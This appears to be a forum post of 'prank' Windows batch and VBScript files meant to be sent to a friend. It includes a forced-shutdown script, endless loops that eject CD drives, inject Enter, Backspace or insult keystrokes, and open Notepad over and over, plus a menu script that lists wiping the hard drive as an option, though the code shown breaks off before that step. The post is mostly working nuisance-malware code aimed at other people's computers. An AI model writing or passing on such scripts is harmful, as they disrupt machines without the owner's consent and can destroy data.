1) Convey your friend a little message and shut down his / her computer:
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@echo off msg * I don't like you shutdown -c "Error! You are too stupid!" -s
Save it as "Anything.BAT" in All Files and send it.
3) Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
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| Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop |
4) Frustrate your friend by making this VBScript hit Enter simultaneously:
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| Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop |
5) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
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| WScript.Sleep 180000 WScript.Sleep 10000 Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "notepad" WScript.Sleep 100 WshShell.AppActivate "Notepad" WScript.Sleep 500 WshShell.SendKeys "Hel" WScript.Sleep 500 WshShell.SendKeys "lo " WScript.Sleep 500 WshShell.SendKeys ", ho" WScript.Sleep 500 WshShell.SendKeys "w a" WScript.Sleep 500 WshShell.SendKeys "re " WScript.Sleep 500 WshShell.SendKeys "you" WScript.Sleep 500 WshShell.SendKeys "? " WScript.Sleep 500 WshShell.SendKeys "I a" WScript.Sleep 500 WshShell.SendKeys "m g" WScript.Sleep 500 WshShell.SendKeys "ood" WScript.Sleep 500 WshShell.SendKeys " th" WScript.Sleep 500 WshShell.SendKeys "ank" WScript.Sleep 500 WshShell.SendKeys "s! " |
6) Frustrate your friend by making this VBScript hit Backspace simultaneously:
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| MsgBox "Let's go back a few steps" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop |
7) Hack your friend's keyboard and make him type "You are a fool" simultaneously:
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| Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "You are a fool." loop |
8. Open Notepad continually in your friend's computer:
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Quote:
| @ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top |
9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:
1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
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Quote:
| @echo off title The end of the world cd C:\ :menu cls echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc... pause echo Pick your poison: echo 1. Die this way (Wimp) echo 2. Die this way (WIMP!) echo 3. DO NOT DIE THIS WAY echo 4. Die this way (you're boring) echo 5. Easy way out set input=nothing set /p input=Choice: if %input%==1 goto one if %input%==2 goto two |
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